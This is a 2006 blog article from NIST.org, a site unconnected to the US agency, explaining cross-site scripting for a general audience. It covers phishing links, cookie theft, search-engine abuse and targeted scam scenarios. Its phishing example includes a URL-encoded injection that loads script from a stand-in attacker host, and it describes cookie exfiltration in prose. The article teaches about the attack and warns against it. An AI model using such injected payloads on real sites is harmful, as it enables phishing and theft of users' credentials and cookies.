NIST Site Search
Search NIST.GOV
Custom Search
[Official NIST.GOV TIME]
Product Research

Advertise on this site
Cross-Site Scripting (XSS) - The Internet is Definitely a More Dangerous Place
Phishing schemes are about to get a whole lot easier. Targeted attacks are much more likely to work now than ever before. Cookies stored on your computer can be retrieved by bad guys half a world away. Even big search engine companies like Google and Yahoo are shaking in their boots. What happened? The bad guys have discovered Cross-Site Scripting (XSS) and the Internet has sudden become a lot more dangerous. (updated with screen shots)No Longer Supported
Through the magic of Cross-Site Scripting (XSS) even professional security people will have a hard time recognizing a phishing message. XSS also allows for the theft of cookies, and thus personal information and possibly passwords, stored on your computer. XSS may also have a detrimental affect on public search engine results and the trust we put in search results. This and much more is covered in this article. We've tried to boil things down so the subject is easy to understand. At the same time several examples are given showing just how bad XSS can be. Hopefully by the end of this article you'll have a much better understanding of XSS and why its something deserving of your attention.

Originally I had a hard time getting my arms around the whole XSS issue. Though the problem has been around for at least 10 years I, like many security people, didn't pay real close attention until recently. At first I didn't exactly understand the problem. Even after I saw some examples I didn't immediately see where this could cause much harm. Most of the examples simply popped up an alert box. Big deal. But I knew there was more to it because some people I really trust (or at least think are smart) were very worried. According to new figures from Mitre, a U.S. government-funded research organization XSS is now the #1 application vulnerability being reported. It has surpassed buffer overflows, SQL injections, directory traversals, even Denial of Service vulnerabilities. XSS now accounts for 21.5% of all reported vulnerabilities, rising from just 2% in 2001. This trend is certain to continue as more people become aware of the problem and locate vulnerable applications.

So it was time to develop a better understanding of this problem.

Let me tell you, XSS is very dangerous. If you've heard otherwise don't believe it. Unless you think this is some obscure vulnerability that may not affect you let me assure you this vulnerability is very widespread. People I've spoke with have told me that it takes them about 5-10 minutes to find a new vulnerable site. There are groups out there simply trying to see how many they can find and who can find a vulnerability on the most important websites (so far FBI.GOV and NSA.GOV probably top that list!). They have found (and documented) several banks, law firms, charities, insurance companies, dozens of government agencies, etc., with XSS vulnerabilities. They even found a XSS vulnerability on Acunetix's public website. Acunetix makes a security appliance that is designed to find just such web server vulnerabilities (Acunetix fixed the problem quickly but this serves as an example that any web site can have a XSS vulnerability). Probably hundreds of sites have been found so far and the search is really just beginning.

Unlike most vulnerability testing XSS searching does not modify anything on the remote server and does no harm to the server or the server's data. But as not to encourage phishing attacks based off these finding we will not be posting the actual example links or the full vulnerability address. However, we are aware that there are several sites out there that are posting them. Normally the example links posted on these sites are harmless (and therefore should not get anyone in trouble) but that is no guarantee that you won't stumble across some that are harmful. If you don't know what you're doing don't go to these sites or click on untrusted links. We will, on the other hand, be posting the names of those organizations so that they are pressured to fix the problem. Remember this vulnerability doesn't hurt their server, it hurts everyone else. We suspect the people finding these vulnerabilities are not reporting them to the organization that runs the server. There is still a lot of fear out there that someone will try to charge them with hacking. There is a good chance the vulnerability finders would would prevail in court but nobody wants to go through that, let someone else establish the precedence. But that means the web server administrators might be the last to know that their server is vulnerable and possibly be used for phishing attacks. If you operate web server you should pay attention to the “XSS Hall of Shame” here at NIST.org and the various vulnerability discovery sites that prove a server is vulnerable by including example links. Your company or organization may even be sued if someone falls victim to a XSS enabled phishing attack through your web server. Remember it is your server that allowed this to happen and the URL at the top indicates it is your server hosting the credit card entry form. You are probably especially liable if the problem is public knowledge and you've done nothing about it.

Though the vulnerability is on the server the threat is to the general public, the visitors to that server. Normally servers get exploited and the bad guys either deface the site or use it to load them up with exploit code that can do you harm. Either way web admins have something to work with. In this case nothing bad ever happens to the web server, nothing gets modified on the server, server security hasn't even been breached. It was never actually hacked. Let me explain.

To simplify things we'll use a phishing attack as an example. When the bad guy wants your credit card information one of the most common attacks starts with an email message. They send you an email message with links to some server they control. Both the email message and rogue server are made to look very much like a bank or other financial institute. But usually there are signs that something is wrong. The links in the email message point to an IP address or some domain other than the banks, or your web browser shows the odd address after you click on the link. Instead of the normal 'http://www.normalbank.com' you see something like 'http://192.168.243.205' or 'http://normalbank.c8a45.ru'. Clear signs that something isn't right.

But with XSS the links look fine. Even the address in your browser looks fine. There is nothing apparently wrong. But the key word is 'apparently'. Because with XSS the good server is acting much like a money laundering operation, taking the bad address, cleaning it up so it looks legitimate, and sending it to your browser. All without any changes or exploits to the good server. The fault is with some bit of code that was designed to accept user input. Often times a search form on the good server is what is used in a XSS exploit (remember it is you that is being exploited, not the server). The programmers simply didn't take the time time to filter the user input of Javascript or HTML code and they allowed the original form input to be fed back to the person that entered it without modification. The form input doesn't have to be you entering the text in a block it can often be coded right in to a URL, obfuscated so you don't even know its there. Finding these vulnerabilities isn't even thought to be hacking. Again nothing is compromised on the server, it is doing exactly as it was designed to do. It was just designed poorly. Programmers search for code syntax on the Internet all the time, who would have thought that simply searching for it could cause it to activate back on their own computer. That's just dumb. But other input forms are vulnerable as well, not just search forms.

So here is how it works in a XSS attack. The bad guy sends you one of those well crafted email messages made to look like it came from your bank (again we'll use 'Normal Bank' with a domain of 'normalbank.com'). The email you receive comes from survey@normalbank.com and looks just like the one's your bank normally sends you, with privacy notices, copyrights, etc. It claims you will get $50 deposited to your account simply by taking an on-line survey. The links on the page all point to your bank's domain and look perfectly legitimate, something like:
http://www.normalbank.com/survey.php?q=%3C%73%63%72 %69%70%74%20%73%72%63 %3D%2F%2F%62%61%64%67%75%79% 73%69%6E%63%2E%6E%65%74%2F%62%61 %64%73%63%72%69%70 %74%2E%6A%73%3E

We've all seen gobbly gook as part of normal looking URL's and that in and of its self is not a clue that something is wrong. The larger the company the more likely the URL's will contain gobbly gook because it is often used to request documents or information from databases. So you click the link and you are brought to a page that looks exactly like one from www.normalbank.com prompting you to login to take the survey and claim your $50. The URL in your browser's address bar looks perfectly legitimate and matches the URL above. You login, take the survey, and you get a big thank you notice saying that the $50 will be deposited to your account in 3-5 days. YIPPIE!

So what's going on here? Well first of all you're not going to have $50 deposited to your account (dang it!). In fact the next time you check your account you'll probably find it contains a lot less money than it should. Embedded in the URL gobbly gook above is a bit of Javascript that is fed to a survey form entry page on www.normalbank.com. The form handler doesn't know what to do with this code so it simply reflects it back to your browser (as odd as that may seem). From your browser's point of view this Javascript apparently is coming from www.normalbank.com because it was just reflected from there. But this small bit of Javascript just loaded a complete page from the bad guys server and you just sent your banking information to their server. All without any indication that something was wrong.

The same method of Javascript reflection can be used by the bad guys to steal cookies stored on your computer. Cookies are small text files that a web server stores on your computer to save 'state' (where you're at or what you are doing) or information that your browser can use from visit to visit to save you time and effort. For example when you order something from a site they may store a cookie on your computer with your mailing addresses so the next time you order something you don't have to reenter that information. They may also store your credit card information that way. Normally only the site that dropped the cookie can retrieve it. But if the site has a XSS vulnerability the bad guy can send you a URL to retrieve that cookie. The URL first hits the legitimate site (again www.normalbankcom) but contains code to load Javascript from a server they control (www.badguys5486.ru). This Javascript contains code to retrieve the www.normalbank.com cookie from your computer and send it to them. Remember the URL looks like its coming from the good server so your browser dutifully retrieves the cookie as instructed.

So how do you avoid being exploited? Since you would have a very difficult time deciphering the URL (ok kids break out your secret decoder rings to see what you've won) all you can really do is never click on links sent to you via email. You've heard this before but most of you continue to ignore that advice. There are bad people all over the world that are much smarter at this than I am and they can send out millions of phishing spam messages. Occasionally there are bad people at good companies that will sell a company's client email list. You are vulnerable and XSS is far too easy to exploit.

The fix isn't an easy one. Unlike most vulnerabilities this isn't something that can be patched by Microsoft. The cause of the problem isn't the operating system or the web browser. Usually the problem is with custom programming code written by experienced and inexperienced programmers alike. All of these separate vulnerable programs will have to be fixed. In some cases a companies search engine appliance will have to be totally replaced if it is no longer supported by the manufacturer. So this problem won't go away quickly. But companies need to act because their servers are making us more vulnerable.

At the beginning of this article I mentioned that this vulnerability can have a negative affect on public search engine results. XSS has the potential to undermine how search engines rank pages, thus listing garbage sites above valuable one's. How? This is another thing that I didn't immediately understand. How can weirdly crafted URL's trick the likes of Google and Yahoo? Most public search engines rank sites higher if they have a lot of inbound links (links from other sites). Many also rank the quality of those inbound links so a link on a page at Time.com is worth a lot more than a link on some kids free MySpace page. With XSS it is possible to create links that appear to be on a vulnerable site's page. We've seen examples of this where text and links seem to be magically added to web pages. Javascript is widely used to create content on pages (this site uses it in some of the sidebar panels) so the search engines have to understand it. Search Engine Optimization (SEO) is big business, companies pay thousands of dollars to get their sites ranked higher. When you feed Google a XSS URL (like the example above) it thinks all the Javascript content from derived from that URL was meant to be delivered from that page. But with XSS you can use foreign XSS to apparently create links on a good server's site that aren't actually there (remember nothing has actually been changed on the server). So a quick way to boost SCO is to find as many XSS vulnerable sites and through the magic of Javascript create links to your site. Yahoo, MSN, Google, etc. will see all of those links from well respected sites and rank your site higher. Now before you run off and do this let me tell you that these public search engine companies are not stupid. They are very aware of this problem and are actively working on fixes. When they find you doing this you will be blacklisted (eg; you may never show up in search results again). They aren't discussing the situation but it is believed that they can currently detect some XSS URL's but not others. If you search for 'XSS SEO' you'll find lots of discussion on blackhat SEO sites, hacker sites, and a few whitehat security sites. But lets hope the search engines get a handle on this soon or they'll be one more thing on the Internet that we've lost faith in.

Targeted attack scenarios:
  • You get an email message that appears to be from your stock broker suggesting that you buy stock in Acme War Materials immediately. They claim to have inside information that this company is about to win a huge military contract and the stock will double overnight. There is a link in the email to your brokers site for more information. The page even includes a very nice looking PDF file from an Army contracting office that is awarding the contract to them. The informed and suspicious among us would know they wouldn't be allowed to do this. But a certain percentage of people would jump at the chance to double their money. The bad guy will probably win two ways here. The first way is that they'll include a login on their bogus page and will capture your brokerage account info. The second way they'll make money is they'll take out options on that stock ahead of time to sell at a set price. When this stock goes up in value they make money. Our spam honeypot already captures dozens of spam messages per day promoting junk stocks.
  • You get an email message from a U.S. Government agency that works in disaster relief. The message says that though they are currently helping hundreds of displaced children the money allocated by Congress is not nearly enough. The eMail message points to a web page on the goodserver.gov website with pictures of hungry children and a form for you to donate money with your credit card. All addresses and links appear to be from the goodserver.gov website. Again, a lot of people would know that the government wouldn't solicit donations this way. But many people would fall for it. What if the email and web address came from a legitimate save-the-starvingkids.org web address would that make people less suspicious? Timed to occur soon after a disaster the response rate to such an email would be very high. We've had reports of several such vulnerable government sites and charity sites that could be used this way.
  • You get an email from your state's tax office with your full name and street address in the message saying that you have been audited. The link on the page takes you to http://www.state.yy.us (the 'yy' being your states abbreviation and is legitimate). It asks you to login with your name (with the block already filled in for you. How convenient), and the password is your social security number. The page that comes up says that you owe the state a grand total of $23.46 and offers you a chance to avoid a face to face audit by paying up now. You can either mail a check to their legitimate street address or use the oh so convenient credit card form on the page. For less than $25 most people would be glad to avoid a face to face audit and most people would take advantage of the credit card payment method. Now they own your social security number and your credit card number. Your name, address and email address they got from a bad employee at a store you do business with. This is called a targeted attack and is very effective. Yes, we know of several state web sites with XSS vulnerabilities.


Example Screen Shots (URL's removed):

These are all real examples, the only photo editing of the screen captures was to obscure the URL and in one case to remove site identification.

References: (caution: some of these links are to sites frequented by people of questionable ethics and may contain forum posts with links to exploited sites. The people who run these sites try to weed out such material but some might slip through):
  • Ha.ckers.com XSS Articles – This site is run by a guy that goes by the handle 'RSnake'. I've had several interesting email threads with RSnake and I thank him for his assistance. He may be one of the foremost experts on XSS. He also runs sla.ckers.org that lists sites found to be XSS vulnerable and a URL for each to prove it. Little is known about RSnake and even less about the people that visit his web forums so caution is advised (but isn't it always?).
  • Jeremiah Grossman's Blog - Jeremiah Grossman is the founder and Chief Technology Officer of WhiteHat Security. His blog contains a lot of valuable information on XSS. He is often quoted by the mainstream press on various security issues.
  • Wikipedia XSS page – An excellent definition of XSS and includes a couple more scenarios. It also lists several well known real-world XSS attacks, most of which have been fixed.
  • 'How to defeat the new No. 1 security threat: cross-site scripting' from ComputerWorld.com.
  • 'Cross-site scripting the top security risk' from NetworkWorld.com
  • Again the Vulnerability Type Distributions in CVE from Mitre.org showing XSS as the #1 threat for 2006.
  • The UK site 'How to Create' has a very good write up on XSS that will be especially interesting to web developers trying to fix XSS problems.
  • SecurityDocs.com does a good job of describing XSS and includes example code. They also have a chart of characters your site's input forms should be filtering to prevent XSS injection.
  • SEOMoz.org - Shows how to create links on 20 different government web pages using XSS. These links are only seen using the URL provided, they don't actually exist on the government servers. But they can be used to trick search engines for higher rankings (SEO) or to trick the unsuspecting public (by emailing the link). Some of these links have probably been fixed. This is a very dangerous situation.
  • The SPI Laboratory - Common Misconceptions in Web Application Security, Part 1
  • The SPI Laboratory - Common Misconceptions in Web Application Security, Part 2
  • NIST.org's XSS Hall of Shame – Where we list web servers that have XSS vulnerabilities.



Share or Bookmark this Article Using:
| furl | reddit | del.icio.us | magnoliacom | digg | newsvine | stumble it |



Google
WebNIST.org
NIST.govSecurityFocus.com






Posted by NIST.org on Monday 09 October 2006 - 15:35:01 | |printer friendly
Translate to: {GOOGLETRANS}
Google Ads




Headlines

»CVE-2014-2045 (multichannel_vpn_router_300_firmware)
Multiple cross-site scripting (XSS) vulnerabilities in the 'old' and 'new' interfaces in Viprinet Mu ...
»CVE-2014-9754 (multichannel_vpn_router_300_firmware)
The hardware VPN client in Viprinet MultichannelVPN Router 300 verison 2013070830/2013080900 does no ...
»CVE-2014-9755 (multichannel_vpn_router_300_firmware)
The hardware VPN client in Viprinet MultichannelVPN Router 300 verison 2013070830/2013080900 does no ...
»CVE-2014-9909 (android)
An elevation of privilege vulnerability in the Broadcom Wi-Fi driver could enable a local malicious ...
»CVE-2014-9910 (android)
An elevation of privilege vulnerability in the Broadcom Wi-Fi driver could enable a local malicious ...
»CVE-2014-9913 (unzip)
Buffer overflow in the list_files function in list.c in Info-Zip UnZip 6.0 allows remote attackers t ...
»CVE-2015-8212 (netbsd)
CGI handling flaw in bozohttpd in NetBSD 6.0 through 6.0.6, 6.1 through 6.1.5, and 7.0 allows remote ...
»CVE-2015-8667 (exponent_cms)
Cross-site scripting (XSS) vulnerability in Reset Your Password module in Exponent CMS before 2.3.5 ...
»CVE-2015-8684 (exponent_cms)
Exponent CMS before 2.3.7 does not properly restrict the types of files that can be uploaded, which ...
»CVE-2016-10075 (tqdm)
The tqdm._version module in tqdm versions 4.4.1 and 4.10 allows local users to execute arbitrary cod ...
»CVE-2016-10086 (service_desk_management, service_desk_manager)
RESTful web services in CA Service Desk Manager 12.9 and CA Service Desk Management 14.1 might allow ...
»CVE-2016-10143 (tikiwiki_cms/groupware)
A vulnerability in Tiki Wiki CMS 15.2 could allow a remote attacker to read arbitrary files on a tar ...
»CVE-2016-10147 (linux_kernel)
crypto/mcryptd.c in the Linux kernel before 4.8.15 allows local users to cause a denial of service ( ...
»CVE-2016-10148 (wordpress)
The wp_ajax_update_plugin function in wp-admin/includes/ajax-actions.php in WordPress before 4.6 mak ...
»CVE-2016-2087 (hexchat)
Directory traversal vulnerability in the client in HexChat 2.11.0 allows remote IRC servers to read ...


Date published: 2017-01-21T06:00:01Z
Details

»IC3 Warns of Employment Scams Targeting College Students
Original release date: January 19, 2017 The Internet Crime Complaint Center (IC3) has issued ...
»Oracle Releases Security Bulletin
Original release date: January 18, 2017 Oracle has released its Critical Patch Update for Jan ...
»SMB Security Best Practices
Original release date: January 16, 2017 | Last revised: January 17, 2017 In response to publi ...
»ISC Releases Security Updates for BIND
Original release date: January 11, 2017 The Internet Systems Consortium (ISC) has released up ...
»Adobe Releases Security Updates
Original release date: January 10, 2017 Adobe has released security updates to address vulner ...
»Microsoft Releases January 2017 Security Bulletin
Original release date: January 10, 2017 Microsoft has released four updates to address vulner ...
»GRIZZLY STEPPE - Russian Malicious Cyber Activity
Original release date: December 29, 2016 | Last revised: December 30, 2016 The Department of ...
»Mozilla Releases Security Update
Original release date: December 28, 2016 Mozilla has released a security update to address mu ...
»FTC Releases Alert on Fake Apps for Mobile Devices
Original release date: December 22, 2016 The Federal Trade Commission (FTC) has released an a ...
»Cisco Releases Security Updates
Original release date: December 22, 2016 Cisco has released security updates to address a vul ...


Date published: not known
Details

»Call for Papers: VB2017
We have opened the Call for Papers for VB2017. We are particularly ...
»Ransomware not a problem for half of businesses
According to a report by IBM Security, 70 per cent of businesses th ...
»Ransomware would be much worse if it wasn't for email security solutions
The latest VBSpam test brings good news: at least 199 out of every ...
»Throwback Thursday: The malware battle: reflections and forecasts
"Another year has come to its end and the malware battle still ...
»VB2016 paper: Open Source Malware Lab
At VB2016, ThreatConnect Director of Research Innovation Robert Sim ...
»A Christmas present for the security community
As a Christmas present for the security community, we have uploaded ...
»Paper: Spreading techniques used by malware
In a new paper published by Virus Bulletin, Acalvio researcher Abhi ...
»VB2016 video: On the StrongPity waterhole attacks targeting Italian and Belgian encryption users
At VB2016, Kaspersky Lab researcher Kurt Baumgartner delivered a pr ...
»Conference review: Botconf 2016
Three members of the Virus Bulletin team attended the Botconf 2016 ...


Date published: not known
Details
Main Menu
· Home
Current Security News
 
US-CERT Current Activity

» IC3 Warns of Employment Scams Targeting College Students
[19 Jan 2017 05:19pm]

» Oracle Releases Security Bulletin
[18 Jan 2017 11:04am]

» SMB Security Best Practices
[16 Jan 2017 09:45pm]

» ISC Releases Security Updates for BIND
[11 Jan 2017 07:52pm]

» Adobe Releases Security Updates
[10 Jan 2017 02:07pm]

» Microsoft Releases January 2017 Security Bulletin
[10 Jan 2017 02:01pm]

» GRIZZLY STEPPE - Russian Malicious Cyber Activity
[29 Dec 2016 12:21pm]

» Mozilla Releases Security Update
[28 Dec 2016 06:29pm]

» FTC Releases Alert on Fake Apps for Mobile Devices
[22 Dec 2016 08:02pm]

» Cisco Releases Security Updates
[22 Dec 2016 06:56pm]

***
US-CERT Alerts

» TA16-336A: Avalanche (crimeware-as-a-service infrastructure)
[30 Nov 2016 10:00pm]

» TA16-288A: Heightened DDoS Threat Posed by Mirai and Other Botnets
[14 Oct 2016 05:59pm]

» TA16-250A: The Increasing Threat to Network Infrastructure Devices and Recommended Mitigations
[06 Sep 2016 04:29pm]

» TA16-187A: Symantec and Norton Security Products Contain Critical Vulnerabilities
[05 Jul 2016 08:50am]

» TA16-144A: WPAD Name Collision Vulnerability
[23 May 2016 05:38am]

» TA16-132A: Exploitation of SAP Business Applications
[11 May 2016 05:31am]

» TA16-105A: Apple Ends Support for QuickTime for Windows; New Vulnerabilities Announced
[14 Apr 2016 01:48pm]

» TA16-091A: Ransomware and Recent Variants
[31 Mar 2016 04:00pm]

» TA15-337A: Dorkbot
[03 Dec 2015 04:40pm]

» TA15-314A: Compromised Web Servers and Web Shells - Threat Awareness and Guidance
[10 Nov 2015 06:12pm]

***
Computerworld Security

» Researchers propose a way to use your heartbeat as a password
[20 Jan 2017 03:53pm]

» 7 (more) security TED Talks you can’t miss
[20 Jan 2017 12:20pm]

» Spanish police nab suspect behind Neverquest banking malware
[20 Jan 2017 12:03pm]

» Trump nominee suggests IRS cybersecurity and staffing boosts
[20 Jan 2017 09:02am]

» Google pushed developers to fix security flaws in 275K Android apps
[20 Jan 2017 08:51am]

» Microsoft’s standing to sue over secret U.S. data requests in doubt
[20 Jan 2017 12:29am]

» Wikileaks' Assange wants to discuss extradition with the feds
[19 Jan 2017 03:06pm]

» Encrypted email service ProtonMail is now accessible over Tor
[19 Jan 2017 01:43pm]

» Tips on where to start in managing risk
[19 Jan 2017 12:27pm]

» IDG Contributor Network: Ransomware takes a nasty turn
[19 Jan 2017 10:14am]

» Attackers start wiping data from CouchDB and Hadoop databases
[19 Jan 2017 08:32am]

» CIA updates rules for collecting and retaining info on Americans
[19 Jan 2017 04:57am]

» You still can’t turn off Windows 10’s built-in spyware
[19 Jan 2017 04:54am]

» Mac malware is found targeting biomedical research
[19 Jan 2017 04:40am]

» Fraud for online holiday sales spikes by 31%
[18 Jan 2017 01:24pm]

***
Microsoft Security Advisories

» 3214296 - Vulnerabilities in Identity Model Extensions Token Signing Verification Could Allow Elevation of Privilege - Version: 1.0
[10 Jan 2017 11:00am]

» 3181759 - Vulnerabilities in ASP.NET Core View Components Could Allow Elevation of Privilege - Version: 1.0
[13 Sep 2016 11:00am]

» 3174644 - Updated Support for Diffie-Hellman Key Exchange - Version: 1.0
[13 Sep 2016 11:00am]

» 3179528 - Update for Kernel Mode Blacklist - Version: 1.0
[09 Aug 2016 11:00am]

» 2880823 - Deprecation of SHA-1 Hashing Algorithm for Microsoft Root Certificate Program - Version: 2.0
[18 May 2016 11:00am]

» 3155527 - Update to Cipher Suites for FalseStart - Version: 1.0
[10 May 2016 11:00am]

» 3152550 - Update to Improve Wireless Mouse Input Filtering - Version: 1.1
[22 Apr 2016 11:00am]

» 3137909 - Vulnerabilities in ASP.NET Templates Could Allow Tampering - Version: 1.1
[10 Feb 2016 11:00am]

» 2871997 - Update to Improve Credentials Protection and Management - Version: 5.0
[09 Feb 2016 11:00am]

» 3123479 - Deprecation of SHA-1 Hashing Algorithm for Microsoft Root Certificate Program - Version: 1.0
[12 Jan 2016 11:00am]

» 3109853 - Update to Improve TLS Session Resumption Interoperability - Version: 1.0
[12 Jan 2016 11:00am]

» 3118753 - Updates for ActiveX Kill Bits 3118753 - Version: 1.0
[12 Jan 2016 11:00am]

» 2755801 - Update for Vulnerabilities in Adobe Flash Player in Internet Explorer and Microsoft Edge - Version: 53.0
[05 Jan 2016 11:00am]

» 3123040 - Inadvertently Disclosed Digital Certificate Could Allow Spoofing - Version: 1.0
[08 Dec 2015 11:00am]

» 3057154 - Update to Harden Use of DES Encryption - Version: 1.1
[08 Dec 2015 11:00am]

***
WIRED

» It’s About To Get Even Easier to Hide on the Dark Web
[20 Jan 2017 05:00am]

» Meitu, a Viral Anime Makeover App, Has Major Privacy Red Flags
[19 Jan 2017 05:44pm]

» UFOs, Psychics, and Spies: The CIA Just Put 12M Pages of Files Online. Start Here
[19 Jan 2017 01:27pm]

» Connected Devices Give Spies a Powerful New Way to Surveil
[19 Jan 2017 07:00am]

» A Wall Alone Can’t Secure the Border, No Matter Who Pays for It
[19 Jan 2017 05:00am]

» Squirrels Keep Menacing the Power Grid. But at Least It’s Not the Russians
[18 Jan 2017 05:00am]

» Obama Will Free Chelsea Manning, a Final Ceasefire in His War on Leakers
[17 Jan 2017 03:49pm]

» What Better Way for the Marines to Prepare for Future Wars Than With Sci-Fi?
[15 Jan 2017 05:00am]

» Security News This Week: Hackers Hack a Major Dealer of Hacking Tools
[14 Jan 2017 05:00am]

» How America Can Beat Russia in Cyber War, Despite Trump
[14 Jan 2017 05:00am]

***
Network World Security

» Lavabit developer has a new encrypted, end-to-end email protocol
[20 Jan 2017 07:04pm]

» Researchers propose a way to use your heartbeat as a password
[20 Jan 2017 02:46pm]

» The CSO guide to top security conferences
[20 Jan 2017 12:24pm]

» Trump nominee suggests IRS cybersecurity and staffing boosts
[20 Jan 2017 12:23pm]

» Review: Microsoft Windows Defender comes up short
[03 Jan 2017 10:48am]

» Inside 3 top threat hunting tools
[19 Dec 2016 04:00am]

» Review: Threat hunting turns the tables on attackers
[19 Dec 2016 04:00am]

» The Ring Stick Up Cam. Don't bother.
[13 Dec 2016 12:33pm]

» 4 top disaster recovery packages compared
[06 Dec 2016 06:02am]

» Beat the bad guys at their own game with SafeBreach’s simulated cyberattacks
[31 Oct 2016 04:15am]

» REVIEW: BIO-key’s plug-in fingerprint readers for Windows 10 computers
[25 Oct 2016 05:59am]

» Better safe than sorry: 5 apps for encrypting and shredding files
[24 Oct 2016 05:59am]

» Roqos Core router combines cybersecurity with parental controls
[18 Oct 2016 07:01am]

» Researchers propose a way to use your heartbeat as a password
[20 Jan 2017 02:46pm]

» The CSO guide to top security conferences
[20 Jan 2017 12:24pm]

***


More IT Security
News Feeds
More Sponsors

Advertise on this site
RSS Feeds
Our news can be syndicated by using these rss feeds.
rss1.0
rss2.0
rdf

NIST.org is in no way connected to the U.S. government site NIST.gov

This site is © John Herron, CISSP. All Rights Reserved.

Please visit daily to stay up to date on all your IT Security compliance issues.

http://www.nist.org -
Hosted by BlueHost. We've never had a better hosting company.
{THEMEDISCLAIMER}